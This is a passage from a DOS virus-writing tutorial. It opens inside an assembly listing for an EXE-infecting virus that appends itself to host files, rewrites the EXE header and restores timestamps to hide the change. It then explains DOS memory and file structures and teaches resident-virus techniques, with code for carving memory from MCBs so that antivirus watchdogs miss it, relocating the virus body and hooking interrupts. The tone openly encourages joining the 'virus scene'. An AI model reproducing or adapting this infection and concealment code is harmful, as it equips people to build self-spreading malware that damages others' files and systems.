        movsw                           ; Save original CS and IP
        movsw   
                
        sub     si, 000Ah
        movsw                           ; Save original SS and SP
        movsw   
                
;----------------------------------------------------------------------------
; Explanation:
; For know that we are doing at this point, you must remember what MOVSW does
; ( Explained some lines above ). Ok ? Yeah, this restores CS:IP and SS:SP of
; the opened EXE. 
;----------------------------------------------------------------------------

        push    bx                      ; save file handle
        mov     bx, word ptr [bp+readbuffer+8] ; Header size in paragraphs
        mov     cl, 0004h
        shl     bx, cl
                
        push    dx                      ; Save file size on the
        push    ax                      ; stack
                
        sub     ax, bx                  ; File size - Header size
        sbb     dx, 0000h               ; DX:AX - BX -> DX:AX
                
        mov     cx, 0010h
        div     cx                      ; DX:AX/CX = AX Remainder DX
                
        mov     word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment
        mov     word ptr [bp+readbuffer+14h], dx ; IP Offset
        mov     word ptr [bp+readbuffer+10h], id ; Initial SP
        mov     word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.

;----------------------------------------------------------------------------
; Explanation:
; This piece of code  seems to  be very hard to understand. But it isn't. The
; first  block read  the value on readbuffer+8 ( Header size in paragraphs ).
; And then turn it into bytes. The second  block puts the file size in stack.
; The  third one  substracts to  the file  size the  header size. The  fourth
; divides the number  in AX by 10, and  puts the remainder in DX. After this, 
; we put the new SS, IP, SP and CS.
;----------------------------------------------------------------------------

        pop     ax                      ; File length in DX:AX
        pop     dx
                
        add     ax, heap-start
        adc     dx, 0000h
                
        mov     cl, 0009h
        push    ax
        shr     ax, cl
        ror     dx, cl
        stc     
        adc     dx, ax
        pop     ax
        and     ah, 0001h
                
        mov     word ptr [bp+readbuffer+2], ax ; Fix-up the file size in
        mov     word ptr [bp+readbuffer+4], dx ; the EXE header

;----------------------------------------------------------------------------
; Explanation:
; Yeeeha! Some cool math operations! :) First  we make is to restore the file
; size. Then we add to  this the virus size. This  huge block that make a lot
; of calcualations is used for calculate the infected file size in the header
; that  is in 512  bytes form, rounded to up. Imagine  if we have a 513 bytes
; file, then we have  here a 2 and 1 as remainder. The  last one  writes  the
; calculated information to the header
;----------------------------------------------------------------------------

        pop     bx                      ; restore file handle
                
        mov     cx, heap-start
        lea     dx, [bp+offset start]
        mov     ah, 0040h               ; concatenate virus
        int     0021h
                
        xor     dx, dx
        mov     ax, 4200h
        xor     cx, cx
        int     0021h
                
                
        lea     dx, [bp+offset readbuffer]
        mov     cx, 001Ah
        mov     ah, 0040h
        int     0021h
                
        inc     [bp+numinfect]
                
;----------------------------------------------------------------------------
; Explanation:
; We  append the  virus body, and  then we move file ointer to the beginning.
; Now we write the new header, and increment the counter by 1.
;----------------------------------------------------------------------------

close:
        mov     ax, 5701h               ; restore file time/date
        pop     dx
        pop     cx
        int     0021h
                
        mov     ah, 003Eh
        int     0021h
                
        pop     ax                      ; restore file attributes
        pop     dx                      ; get filename and
        pop     cx                      ; attributes from stack
        int     0021h
                
        mov     ah, 004Fh               ; find next
        jmp     findfirstnext

;----------------------------------------------------------------------------
; Explanation:
; This routines are known by us. No ? See the COM infection, sucker! ;)
;----------------------------------------------------------------------------

signature       db      "[PS/Gý]",0     ; Phalcon/Skism Gý
EXEmask         db      "*.EXE",0
dot_dot         db      "..",0
                
heap:
newDTA          db      43 dup (?)
origdir         db      65 dup (?)
numinfect       db      ?
readbuffer      db      1ah dup (?)
endheap:
        end     start
;---[ CUT HERE ]-------------------------------------------------------------

 Too much for you ? Ok, i know but i have to say one thing. When you underst-
 and  the concept of COM and EXE  infection, your knowledge will grow as fast
 as the light speed :) Doesn't matter that viruses are obsolete runtime ones.
 The important is the concept. And if you understand this, you can make what-
 ever you want.

 We'll stop a little time. It's time  to explain you some more useful theory.

---| Useful Structures |-----------------------------------------------------

 Now it's time to know one thing we had talked a lot, the PSP.

 % The PSP ( Program Segment Prefix ) %
 --------------------------------------

 Its structure look like this:

 .-----------------------------------. <--- +0000h
 |        INT 20h ( CD 20 )          |            Size : 1 WORD
 |-----------------------------------| <--- +0002h
 |    Pointer to the next segment    |            Size : 1 WORD
 |-----------------------------------| <--- +0004h
 |            Reserved               |            Size : 1 BYTE
 |-----------------------------------| <--- +0005h
 |       Far call to INT 21h         |            Size : 5 BYTES
 |-----------------------------------| <--- +000Ah
 |       Saved INT 22h vector        |            Size : 1 DWORD
 |-----------------------------------| <--- +000Eh
 |       Saved INT 23h vector        |            Size : 1 DWORD
 |-----------------------------------| <--- +0012h
 |       Saved INT 24h vector        |            Size : 1 DWORD
 |-----------------------------------| <--- +0016h
 |            Reserved               |            Size : 22 BYTES
 |-----------------------------------| <--- +002Ch
 |   Offset to Enviroment Segment    |            Size : 1 WORD
 |-----------------------------------| <--- +002Eh
 |            Reserved               |            Size : 46 BYTES
 |-----------------------------------| <--- +005Ch
 |        First default FCB          |            Size : 16 BYTES
 |-----------------------------------| <--- +006Ch
 |        Second default FCB         |            Size : 16 BYTES
 |-----------------------------------| <--- +0080h
 |   Command Tail and default DTA    |            Size : 180 BYTES
 '-----------------------------------'                   ---------
                                            Total Size : 256 BYTES

 Let's explain it step by step, because this structure is very important.

 + Offset 0000h:

 The  INT 20h is  an obsolete  method for terminate  program. Nowadays we use
 function 4Ch of the INT 21h.

 + Offset 0002h:

 Here goes the pointer  to the next  segment placed after our program. We can
 use it to know how much memory DOS have given to us ( substracting da offset
 pointed by it to the offset 0000 of our PSP ). It'll return to us the memory
 in paragraphs, so we  have to multiply it by 16 to obtain the size in bytes.

 + Offset 0005h:

 This is a preety  curious way to call INT 21h. And, of course, we can use it
 to our purposes. The functions are in CL instead AH, and we can only use the
 functions below 24h. I'll explain more in TUNNELING chapter.

 + Offset 000Ah:

 Here are stored the original vectors of INT 22h. The INT 22h is the one that
 receives  the control when the  program terminates its  execution using this
 ways:

 - INT 20h
 - INT 27h
 - INT 21h ( Functions 00h, 31h, 4Ch )

 + Offset 000Eh:

 Here are  stored the vectors of anothr int, the INT 23h. This int is the one
 that handles the CTRL+C key combination. 

 + Offset 0012h:

 Another int is stored  here, the INT 24h. This  is the  int  that handle the
 critical  errors. Examples of this  kinda errors ? When there isn't a floppy
 in your floppy drive, or when it's write-protected.

 + Offset 002Ch:

 Here goes the starting offset of the enviroment block.

 + Offset 005Ch:

 In this field  is stored  the first default FCB ( File Control Block ). This
 way to  access files isn't normally  used by  programs ( they  are  here for
 compatibility  with old DOS versions ), but virus  writers usually use a way
 for make stealth. See the FCB structure for more info.

 + Offset 006Ch:

 Ditto. It's the second default FCB.

 + Offset 0080h:

 This field has two functions:

 - Store the command tail
 - Default file buffer for store DTA

 This functions  can't live  together, so when  we start  a program the first
 thing  that is here  is the  command tail. If we need it, i recommend you to
 save it to a safe place ( a variable in our code ). Da first byte of command
 tail ( 80h ) holds  its length, and  from here, it's stored the real params.
 The structure of the DTA will be explained in this same chapter.

 % The FCB ( File Control Block ) %
 ----------------------------------

 There  are two kinds of FCBs : da normal and da extended ones. Here you have
 the structure of a normal FCB. 

 .-----------------------------------. <--- +0000h
 | Drive Letter ( 0=actual, 1=A... ) |            Size : 1 BYTE
 |-----------------------------------| <--- +0001h
 |     Blank padded file name        |            Size : 8 BYTES
 |-----------------------------------| <--- +0009h
 |    Blank padded file extension    |            Size : 3 BYTES
 |-----------------------------------| <--- +000Ch
 |       Current block number        |            Size : 1 WORD
 |-----------------------------------| <--- +000Eh
 |       Logical record size         |            Size : 1 WORD
 |-----------------------------------| <--- +0010h
 |            File size              |            Size : 1 DWORD
 |-----------------------------------| <--- +0014h
 |            File date              |            Size : 1 WORD
 |-----------------------------------| <--- +0016h
 |            File time              |            Size : 1 WORD
 |-----------------------------------| <--- +0018h
 |            Reserved               |            Size : 8 BYTES
 |-----------------------------------| <--- +0020h
 |    Record within current block    |            Size : 1 BYTE
 |-----------------------------------| <--- +0021h
 |    Random access record number    |            Size : 1 DWORD
 '-----------------------------------'                   --------
                                            Total Size : 37 BYTES

 And when it's an extended FCB, all the  avobe offsets are shifted by 7 bytes
 and then the first 7 bytes looks like this:

 .-----------------------------------. <--- -0007h
 | FF ( Signature for extended FCB ) |            Size : 1 BYTE
 |-----------------------------------| <--- -0006h
 |            Reserved               |            Size : 5 BYTES
 |-----------------------------------| <--- -0001h
 |         File attribute            |            Size : 1 BYTE
 '-----------------------------------'                   --------
                                            Total Size : 44 BYTES

 The  way for detect if  the FCB is normal or extended is to see if the first
 byte of FCB is a FFh byte. If it's, the  FCB is extended,  cause in a normal
 FCB this can't never happen.
 There's a kinda of stealth  that changes some values of the FCB for hide the
 infection, but this will be seen in the STEALTH chapter.

 % The MCB ( Memory Control Block ) %
 ------------------------------------

 It's  explained in RESIDENT  viruses chapter ( the  next chapter ). Here you
 have:

 .-----------------------------------. <--- +0000h
 |  ID ( Z=last, M=there're more )   |            Size : 1 BYTE
 |-----------------------------------| <--- +0001h
 |     Address of associated PSP     |            Size : 1 WORD
 |-----------------------------------| <--- +0003h
 | Number of paras in allocated mem  |            Size : 1 BYTE
 |-----------------------------------| <--- +0005h
 |             Unused                |            Size : 11 BYTES
 |-----------------------------------| <--- +0008h
 |           Block Name              |            Size : 8 BYTES
 |-----------------------------------| <--- +0010h
 |     Zone of allocated memory      |            Size : ?? PARAS
 '-----------------------------------'                   --------
                                            Total Size : VARIABLE

 % The DTA ( Disk Transfer Area ) %
 ----------------------------------

 This structure is very important in virus writing. Let's see it:

 .-----------------------------------. <--- +0000h
 | Drive Letter ( equal than above ) |            Size : 1 BYTE
 |-----------------------------------| <--- +0001h
 |         Search Template           |            Size : 11 BYTES
 |-----------------------------------| <--- +000Ch
 |            Reserved               |            Size : 9 BYTES
 |-----------------------------------| <--- +0015h      
 |         File attribute            |            Size : 1 BYTE
 |-----------------------------------| <--- +0016h
 |            File time              |            Size : 1 WORD
 |-----------------------------------| <--- +0018h
 |            File date              |            Size : 1 WORD
 |-----------------------------------| <--- +001Ah
 |            File size              |            Size : 1 DWORD
 |-----------------------------------| <--- +001Eh
 |    ASCIIZ Filename + extension    |            Size : 13 BYTES
 '-----------------------------------'                   --------
                                            Total Size : 43 BYTES

 The  original DTA is  stored in  offset 80h of the PSP. We  can save it with
 function 1Ah of the INT 21h.

 % The IVT ( Interrupt Vector Table ) %
 --------------------------------------

 This  ain't a " real " structure. Erhm... Let  me explain... The IVT  is the
 place  when are stored  all the interrupt vectors ( wow, genius! ). All  the
 vectors are located in number_of_interrupt * 4. Imagine  we want the INT 21h
 vectors in DS:DX... simple:

 xor ax,ax
 mov ds,ax
 lds dx,ds:[21h*4]

 Why  we  clear DS ? Coz the IVT is  located from 0000:0000 to higher places.
 This  manipulation ( without  using DOS ) is  the DIRECT  way for obtain/put
 vectors of an interrupt. Well, all  this stuff  and more in RESIDENT VIRUSES
 chapter. Hey... I've forgotten a little graphic :)

 .-----------------------------------. <--- +0000h
 |          INT 00h vector           |            Size : 1 DWORD
 |-----------------------------------| <--- +0004h
 |          INT 01h vector           |            Size : 1 DWORD
 |-----------------------------------|
 /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ 
 |-----------------------------------| <--- +03FCh
 |          INT FEh vector           |            Size : 1 DWORD
 |-----------------------------------| <--- +0400h
 |          INT FFh vector           |            Size : 1 DWORD
 '-----------------------------------'                   ----------
                                            Total Size : 1024 BYTES

 You can imaginate that the " broken " line means that are 256 interrupts and
 i had to optimize this document ( i don't want it to occupy 5 megs! ) ;)

 % The SFT ( System File Table ) %
 ---------------------------------

 This  structure is really cool. It can  help you to make your code much more
 powerful and optimized. It's like the FCBs, but, as you can see, this one is
 more powerful. With this tables we can make stealth, change the file pointer
 the open mode, attributes... Here you have da structure for DOS 4+ ( I beli-
 eve there isn't in da world someone using DOS 3 or something ). Well, if you
 want to code also for DOS 3, go to the Ralph Brown's interrupt list. But the
 SFT for DOS 3 is  very similar to this one. The  important values are in the
 same place :)

.=====================================. <--- +0000h
|     Pointer to next file table      |           Size : 1 DWORD
|=====================================| <--- +0004h
|    Number of files in this table    | - - - - - Size : 1 WORD - - - - - - - 
'=====================================' <--- +0000h    [ 3Bh bytes per file ]
 |  Number of file handles of file   |            Size : 1 WORD
 |-----------------------------------| <--- +0002h
 |     File open mode ( AH=3Dh )     |            Size : 1 WORD
 |-----------------------------------| <--- +0004h
 |         File attribute            |            Size : 1 BYTE
 |-----------------------------------| <--- +0005h
 |  Device info block ( AX=4400h )   |            Size : 1 WORD
 |-----------------------------------| <--- +0007h
 | If char device points next dev h. |            Size : 1 DWORD
 |      else point to DOS DPB        |
 |-----------------------------------| <--- +000Bh
 |     Starting cluster of file      |            Size : 1 WORD
 |-----------------------------------| <--- +000Dh
 |            File time              |            Size : 1 WORD
 |-----------------------------------| <--- +000Fh
 |            File date              |            Size : 1 WORD
 |-----------------------------------| <--- +0011h
 |            File size              |            Size : 1 DWORD
 |-----------------------------------| <--- +0015h
 |      Current offset in file       |            Size : 1 DWORD
 |-----------------------------------| <--- +0019h ---------[ If Local File ]
 |  Relative cluster within file of  |            Size : 1 WORD
 |      last cluster accessed        | 
 |-----------------------------------| <--- +001Bh
 |  Number of sector with dir entry  |            Size : 1 DWORD
 |-----------------------------------| <--- +001Fh
 | Number of dir entry within sector |            Size : 1 BYTE
 |-----------------------------------| <--- +0019h ----[ Network redirector ]
 |   Pointer to REDIRIFS records     |            Size : 1 DWORD
 |-----------------------------------| <--- +001Dh
 |               ???                 | -----------Size : 3 BYTES------------- 
 |-----------------------------------| <--- +0020h
 |     Filename in FCB format        |            Size : 11 BYTES
 |-----------------------------------| <--- +002Bh
 | Pointer to prev SFT sharing file* |            Size : 1 DWORD
 |-----------------------------------| <--- +002Fh
 |  Network machine num opened file* |            Size : 1 WORD
 |-----------------------------------| <--- +0031h
 |    PSP segment of file owner      |            Size : 1 WORD
 |-----------------------------------| <--- +0033h
 |  Offset to code segment of rec*   |            Size : 1 WORD
 |-----------------------------------| <--- +0035h
 | Absolute clust num of last access |            Size : 1 WORD
 |-----------------------------------| <--- +0037h
 |  Pointer to IFS driver for file   |            Size : 1 DWORD
 '-----------------------------------'                   --------
                                            Total Size : 61 BYTES

 Uhm... I forgot to say  what's the  way to access  SFTs... Here you have the
 routine that puts the SFT in ES:DI, giving the file handle in BX.

 GetSFT:
        mov     ax,1220h
        int     2Fh
        jc      BadSFT

        xor     bx,bx
        mov     ax,1216h
        mov     bl,byte ptr es:[di]
        int     2Fh
 BadSFT:
        ret

 I really recommend you to save da values in AX/BX ( BX is very important: we
 put there the file handle )

 (*) The fields marked are used by SHARE.EXE

 % The DIB ( DOS Info Block ) %
 ------------------------------

 With the DIB we can access to very important structures, that can't be acce-
 ssed  by another way. This  structure isn't  fixed to a  memory location. We
 must use the  function 52h of the INT 21h. It isn't a documented function of
 DOS. When we call to the said function, we have the address of DIB in ES:BX.
 Here you have:

 .-----------------------------------. <--- -0004h
 |       Pointer to first MCB        |            Size : 1 DWORD
 |-----------------------------------| <--- +0000h
 |       Pointer to first DPB        |            Size : 1 DWORD
 |-----------------------------------| <--- +0004h
 |    Pointer to DOS last buffer     |            Size : 1 DWORD
 |-----------------------------------| <--- +0008h
 |        Pointer to $CLOCK          |            Size : 1 DWORD
 |-----------------------------------| <--- +000Ch
 |          Pointer to CON           |            Size : 1 DWORD
 |-----------------------------------| <--- +0010h
 |       Maximum sector length       |            Size : 1 WORD
 |-----------------------------------| <--- +0012h
 |    Pointer to DOS first buffer    |            Size : 1 DWORD
 |-----------------------------------| <--- +0016h
 | Pointer to array of cur dir struc |            Size : 1 DWORD
 |-----------------------------------| <--- +001Ah
 |         Pointer to SFT            |            Size : 1 DWORD
 '-----------------------------------'                   --------
                                            Total Size : 34 BYTES

 % The DPB ( Drive Parameter Block ) %
 -------------------------------------

 This structure provides us  very useful information for our purposes. We can
 know where is it located by using da second pointer in the DIB ( see above )
 Here you have:

 .-----------------------------------. <--- +0000h
 |    Drive Letter ( 0=A,1=B... )    |            Size : 1 BYTE
 |-----------------------------------| <--- +0001h
 | Unit number within device driver  |            Size : 1 BYTE
 |-----------------------------------| <--- +0002h
 |        Bytes per sector           |            Size : 1 WORD
 |-----------------------------------| <--- +0004h
 | Highest sect num within a cluster |            Size : 1 BYTE
 |-----------------------------------| <--- +0005h
 | Shift count for clust to sectors  |            Size : 1 BYTE
 |-----------------------------------| <--- +0006h
 |    Number of reserved clusters    |            Size : 1 WORD
 |-----------------------------------| <--- +0008h
 |          Number of FATs           |            Size : 1 BYTE
 |-----------------------------------| <--- +0009h
 | Number of root directory entries  |            Size : 1 WORD
 |-----------------------------------| <--- +000Bh
 | Number of first sector with data  |            Size : 1 WORD
 |-----------------------------------| <--- +000Dh
 |  Number of last sector with data  |            Size : 1 WORD
 |-----------------------------------| <--- +000Fh
 |    Number of sectors per FAT      |            Size : 1 BYTE
 |-----------------------------------| <--- +0010h
 | Sector number of first dir sector |            Size : 1 WORD
 |-----------------------------------| <--- +0012h
 |  Address of device driver header  |            Size : 1 DWORD
 |-----------------------------------| <--- +0016h
 |          Media ID byte            |            Size : 1 BYTE
 |-----------------------------------| <--- +0017h
 |  00h if disk accessed, else FFh   |            Size : 1 BYTE
 |-----------------------------------| <--- +0018h
 |       Pointer to next DPB         |            Size : 1 DWORD
 '-----------------------------------'                   --------
                                            Total Size : 28 BYTES

 % The Partition Table %
 -----------------------

 Well, this  structure is preety known by everyone that codes boot infectors.
 This is the first  block of  the hard  disk. It's  always the first, doesn't
 matter if we're in a floppy or in a Hard Disk. We can also call it MBR ( Mas
 ter Boot Record ) when HD, or Boot Sector when FD.

 The partition  table is an array  with four entries, located at offset 01BEh
 in the block. Here you have the format of each of these entries:

 .-----------------------------------. <--- +0000h
 | Boot indicator ( Bootable = 80h,  |            Size : 1 BYTE
 |       Non bootable 00h )          |
 |-----------------------------------| <--- +0001h
 |  Head where the partition begins  |            Size : 1 BYTE
 |-----------------------------------| <--- +0002h
 | Sector where the partition begins |            Size : 1 BYTE
 |-----------------------------------| <--- +0003h
 |  Cylinder where the part. begins  |            Size : 1 BYTE
 |-----------------------------------| <--- +0004h
 |  System indicator* ( What OS ? )  |            Size : 1 BYTE
 |-----------------------------------| <--- +0005h
 |    Head where partition ends      |            Size : 1 BYTE
 |-----------------------------------| <--- +0006h
 |  Sector where the partition ends  |            Size : 1 BYTE
 |-----------------------------------| <--- +0007h
 | Cylinder where the partition ends |            Size : 1 BYTE
 |-----------------------------------| <--- +0008h
 | Total blocks preceding partition  |            Size : 1 DWORD
 |-----------------------------------| <--- +000Ch
 |   Total blocks in the partition   |            Size : 1 DWORD
 '-----------------------------------'                   --------
                                            Total Size : 16 BYTES

 (*) 01 = 12-bit FAT
     04 = 16-bit FAT

 % The BPB ( Bios Parameter Block ) %
 ------------------------------------

 In DOS  based systems, the  boot record  begins with a jump, followed by the
 following structure, the BPB.

 .-----------------------------------. <--- +0000h
 |  OEM name and version ( ASCII )   |            Size : 8 BYTES
 |-----------------------------------| <--- +0008h
 |         Bytes per sector          |            Size : 1 WORD
 |-----------------------------------| <--- +000Dh
 |       Sectors per cluster         |            Size : 1 BYTE
 |-----------------------------------| <--- +000Eh
 | Reserved sector ( starting at 0 ) |            Size : 1 WORD
 |-----------------------------------| <--- +0010h
 |          Number of FATs           |            Size : 1 BYTE
 |-----------------------------------| <--- +0011h
 |  Num of 32 bit root dir entries   |            Size : 1 WORD
 |-----------------------------------| <--- +0013h
 |    Total sectors in partition     |            Size : 1 WORD
 |-----------------------------------| <--- +0015h
 |         Media descriptor          |            Size : 1 BYTE
 |-----------------------------------| <--- +0017h
 |          Sectors per FAT          |            Size : 1 WORD
 |-----------------------------------| <--- +0019h
 |         Sectors per track         |            Size : 1 WORD
 |-----------------------------------| <--- +001Bh
 |          Number of heads          |            Size : 1 WORD
 |-----------------------------------| <--- +001Dh
 |      Number of hidden sectors     |            Size : 1 WORD
 '-----------------------------------'                   --------
                                            Total Size : 29 BYTES

---| More cool viruses : RESIDENT viruses |----------------------------------

 Well, if you have reached this point and you're still alive, you have future
 in this cool world called virus scene :)

 Here begins da interesting stuff for you ( to read ) and for me ( to write )

 % What the hell is a resident program? %
 ----------------------------------------

 Well, first of all i'll explain you just the opposite :)
 When we execute a  non-resident  program ( normal  program such  edit ), DOS
 gives  it  determinated  memory, but  this  memory is  deallocated when  the
 application  is terminated ( with an  INT 20h, or INT 21h functions like the
 famous 4Ch ).

 A resident program is  executed like a normal program, but it leaves in mem-
 ory a portion of itself, that is not  deallocated after program termination.
 Resident programs ( aka TSR = Terminate and Stay Resident ) ussually replace
 some interrupts, and putting  its own ones, for perform the task for they're
 designed. What uses  can we give to a TSR program ? We  can use for  hacking    
 ( steal passwords ), for  our cool utilities... all depends of your imagina-
 tion. Of course, i don't forget it... for make RESIDENT VIRUSES :)

 % What can a TSR virus give you? %
 ----------------------------------

 TSR isn't the best way to call viruses that go resident. Imagine you're exe-
 cuting something and  it returns to DOS. No. We can't TERMINATE and stay re-
 sident! The user will note there's something  wrong. We must RETURN  to host
 and  stay resident :) TSR  is only an  abbreviation ( misused, i must add ).
 Resident viruses  can offer us a new world of possibilities. We can make our 
 virus much more infectious, safe... We can disinfect file when an attempt to
 open/read  file is detected ( imagine, AVs won't  detect anything ), we  can
 hook the functions  used by AVs  in order to fool them, we can substract the
 virus size to inexpert user eyes ( erhm... experts too ) ;) 

 Nowadays there  isn't reasons to make  runtime viruses. They're slow, easily
 detectable, and OBSOLETE ( Hey! An excelent Fear Factory album! ) :) 
 Let's see a little example of resident program.

;---[ CUT HERE ]-------------------------------------------------------------
; This program will check if it's already in memory, and then it'll show us a
; stupid message. If not, it'll install and show another msg.

       .model 	tiny
       .code
        org	100h

start:
        jmp     fuck

newint21:
        cmp     ax,0ACDCh               ; Are user caliing our function?
        je      is_check                ; If yes, answer the call
        jmp     dword ptr cs:[oldint21] ; Else jump to original int 21

is_check:
        mov     ax,0DEADh               ; We answer it
        iret                            ; And make an interrupt return :)

oldint21  label dword
int21_off dw    0000h
int21_seg dw    0000h

fuck:
        mov     ax,0ACDCh               ; Residence check
        int     21h                     ; Invented function, of course ;)
        cmp     ax,0DEADh               ; Are we here?
        je      stupid_yes              ; If yes, show message 2

        mov     ax,3521h                ; If not, we go and install
        int     21h                     ; Function for get INT 21h vectors
        mov     word ptr cs:[int21_off],bx ; We store offset at oldint21+0
        mov     word ptr cs:[int21_seg],es ; We store segment at oldint21+2

        mov     ax,2521h                ; Function for put new int 21 handler
        mov     dx,offset newint21      ; where is it located
        int     21h

        mov     ax,0900h                ; Show message 1
        mov     dx,offset msg_installed
        int     21h

        mov     dx,offset fuck+1        ; Make resident from offset 0 until
        int     27h                     ; offset in dx using int 27h
                                        ; This will also terminate program

stupid_yes:
        mov     ax,0900h                ; Show message 2
        mov     dx,offset msg_already
        int     21h
        int     20h                     ; Terminate program.

msg_installed db "Stupid Resident not installed. Installing...$"
msg_already   db "Stupid Resident is alive and kicking your ass!$"

end      start

;---[ CUT HERE ]-------------------------------------------------------------

 This little example can't be used to code a virus... Why? INT 27h, after put
 a program in memory, terminates current execution. It's like it  put code in
 memory  and make INT 20h  or whatever you  use for terminate current program
 execution.

 And then... What can we use to code a virus?

 % TSR viruses algorithm %
 -------------------------

 We can follow this steps ( imagination is quite good in virus coding... ) :)

 1. Check if program is already resident ( yes, goto 5; no, continue )
 2. Allocate memory we want
 3. Copy virus body to memory
 4. Get interrupt vectors, save them and put ours
 5. Restore host file
 6. Return control to it

 % Residence checks %
 --------------------

 When we're coding a resident program, we must make at least one check to see
 if our program is already installed. Ussually, it's an invented function,and
 when we call it, the function return us a determinated value ( we choose it,
 too ) or if it isn't installed, it makes AL = 00.
 Let's see an example:

        mov     ax,0B0B0h
        int     21h
        cmp     ax,0CACAh
        je      already_installed
        [...]

 If it was  already installed, we restore  the infected file host, and return
 control  to original  program. If it  wasn't  installed, we  go and install.
 The INT 21h handler for this virus will look like this:

 int21handler:
        cmp     ax,0B0B0h
        je      install_check
        [...]

        db      0EAh
 oldint21:
        dw      0,0

 install_check:
        mov     ax,0CACAh
        iret

 % Allocate modifying MCB %
 --------------------------

 The most used way to allocate memory is da MCB ( Memory Control Block ) one.
 There're two  way to  perform this  action: using DOS  or doing it DIRECTLY.
 After seeing what the hell are each way, let's see what is a MCB.

 A Memory Control Block is created by DOS for each control block that da pro-
 gram uses. The length of  the block  is one  paragraph ( 16 bytes ), and  it
 always goes before the allocated memory. Ahh! num it's always divisibe by 16
 We can know the  location of the MCB of our program substracting to the code
 segment  1 ( CS-1 ) if  is a  COM  file, and  DS if EXE ( remember, in  EXEs
 CS<>DS ) You can see the MCB structure in STRUCTURES chapter ( Already seen,
 the last lesson we have seen )

 + Using DOS for modify MCB:

 Well, the method i used in my first virus, the Antichrist Superstar, is very
 simple and effective. First we  make a request to DOS using  function 4Ah of
 INT 21h for all memory ( BX=FFFFh ), that is  an imposible value. This func-
 tion will see that we're requesting for too much memory, so it will place in
 BX all memory that  we can use. So  we substract to this value the code size
 of our virus in paragraphs ( ((size+15)/16)+1 ) and call again the function
 4Ah. Now it's time to substract to da free memory the memory we want. We can
 do it by doing a "sub word ptr ds:[2],(size+15)/16+1", and  then call to DOS
 function 48h, with the code size in paragraphs in BX. This will return in AX
 the segment  of allocated block, so  we put  it in ES, decrement AX, and put
 the new value in DS. Now we have in DS the MCB, so we have to manipulate it.
 We must put in DS:[0] the byte "Z" or "M" ( Depending of your needs, see MCB
 structure ), and in DS:[1] the word 0008, for tell  DOS that the block is of
 its own, and then it won't overwrite it.

 Arf, Arf... After this huge theory, some code will be good.
 Something like this will configure MCB to your needs:

        mov     ax,4A00h                ; Here we request for an impossible
        mov     bx,0FFFFh               ; amount of free memory
        int     21h

        mov     ax,4A00h                ; And we substract the virus size in
        sub     bx,(virus_size+15)/16+1 ; paras to the actual amount of mem
        int     21h                     ; ( in BX ) and request for space.

        mov     ax,4800h                ; Now we make DOS substract 2 da free
        sub     word ptr ds:[2],(virus_size+15)/16+1 ; memory what we need in
        mov     bx,(virus_size+15)/16   ; paragraphs
        int     21h                             

        mov     es,ax                   ; In AX we get the segment of our 
        dec     ax                      ; memory block ( doesn't care if EXE
        mov     ds,ax                   ; or COM ), we put in ES, and in DS 
                                        ; ( substracted by 1 )
        mov     byte ptr ds:[0],"Z"     ; We mark it as last block
        mov     word ptr ds:[1],08h     ; We say DOS the block is of its own

 Quite simple and effective... However, this will only manipulate the memory,
 it doesn't move  your code to  memory. This is VERY  easy. But we'll  see it
 later.

 + Direct modify of MCB:

 This method does exactly the same, but the way to reach our target is diffe-
 rent. It has one thing  that makes it better that the above method: a TSR AV
 watchdog  won't say anything of  memory manipulation cause  we don't use any
 kinda interrupt :)

 The first we do is to put DS in AX ( coz we can't make any kinda things with
 segments ), we  decrement it by 1, and  then we put  it again  in DS. Now DS
 points to the MCB. If you remember the MCB structure, in the offset 3 we had
 the amount of  current memory in paragraphs. So we need to substract to this
 value the amount of memory we're going to use. We'll use BX ( why not? ) ;)
 If we take a look to the past, we can remember that MCB is 16 bytes above da
 PSP. All  the PSP offsets are  shifted by 16 ( 10h ) bytes. We need to chan-
 ge the value of TOM, located at offset 2 of PSP, but  we are not pointing to
 PSP now, we're  pointing to MCB. What  can we do? Instead using offset 2, we
 use offset 12h ( 2+16=18=12h ). We substract to it our memory needs in paras
 ( remember, virus size+15 divided by 16 ). The new  value of this offset now
 has the new segment of our program, and we need it in a segment. We're going
 to use  the Extra Segment ( ES ). But  we can  make a  mov with  ES and this
 location ( due da limitations of segment manipulations ). We must use a tem-
 poral register. AX will be  good for our purposes. Now we mark ES:[0] with a
 "Z" ( before we used DS as segment handler ), and ES:[1] with an 8.
 After the always boring theory, some code will be good

        mov     ax,ds                   ; DS = PSP
        dec     ax                      ; We use AX as temporal register
        mov     ds,ax                   ; DS = MCB

        mov     bx,word ptr ds:[03h]    ; We put in BX the amount of memory
        sub     bx,((virus_size+15)/16)+1 ; and then we put in BX for change
        mov     word ptr ds:[03h],bx    ; We put it in its original place

        mov     byte ptr ds:[0],"M"     ; Mark as not last block

        sub     word ptr ds:[12h],((virus_size+15)/16)+1 ; Subs virus size
                                        ; to TOM size
        mov     ax,word ptr ds:[12h]    ; Now offset 12h handles the new seg.
        mov     es,ax                   ; And we need AX for put it in ES

        mov     byte ptr es:[0],"Z"     ; Mark as last block
        mov     word ptr es:[1],0008h   ; Mark DOS as owner

 % Move the virus to memory %
 ----------------------------

 This is da simplest thing in the resident virus coding. If you know for what
 purposes we can use the MOVSB instruction ( and of course, MOVSW, MOVSD... )
 you'll see how much easy is it. All we must do is setup from we want to move
 and how many data. It's quite simple. Da beginning of data move is magically
 always equal  to delta offset, do if  we have the delta offset in BP, all we
 need it to move to SI the content of BP. And we  put the virus size in bytes
 in CX ( or in words if we want to use MOVSW ). Note that DI must be 0. It'll
 be enough with  a xor di,di ( an  optimized way to  make a mov di,0 ). Let's
 see code...

        push    cs                      ; Adjust segments
        pop     ds                      ; CS = DS

        xor     di,di                   ; DI = 0 ( Top Of Memory )
        mov     si,bp                   ; SI = offset virus_start
        mov     cx,virus_size           ; CX = virus_size
        rep     movsb                   ; Move bytes from DS:SI to ES:DI

 % Hooking interrupts %
 ----------------------

 After move our virus to memory, we need  to modify at least  one it for per-
 form our  infection. It's ussually INT 21h in  about all resident  infectors
 under the sun, but when we're in a boot virus ( or a multipartite virus that
 infect also  floppies and MBRs ) we also  have to hook the INT 13h. The ints
 we hook depend of our needs. There're  two ways of hooking interrupts: using
 DOS or direct hooking. We must note some things to make our handler:

 - First of all, we MUST  preserve all registers  we use  PUSHING them at the
 beginning of the handler ( flags too ), and when we'll be going to return da
 control to the original handler, POP'em all.

 - The second thing we  must remember is that u can NEVER call an intercepted
 function that is previously hooked by  our virus, we'll fall  in an infinite
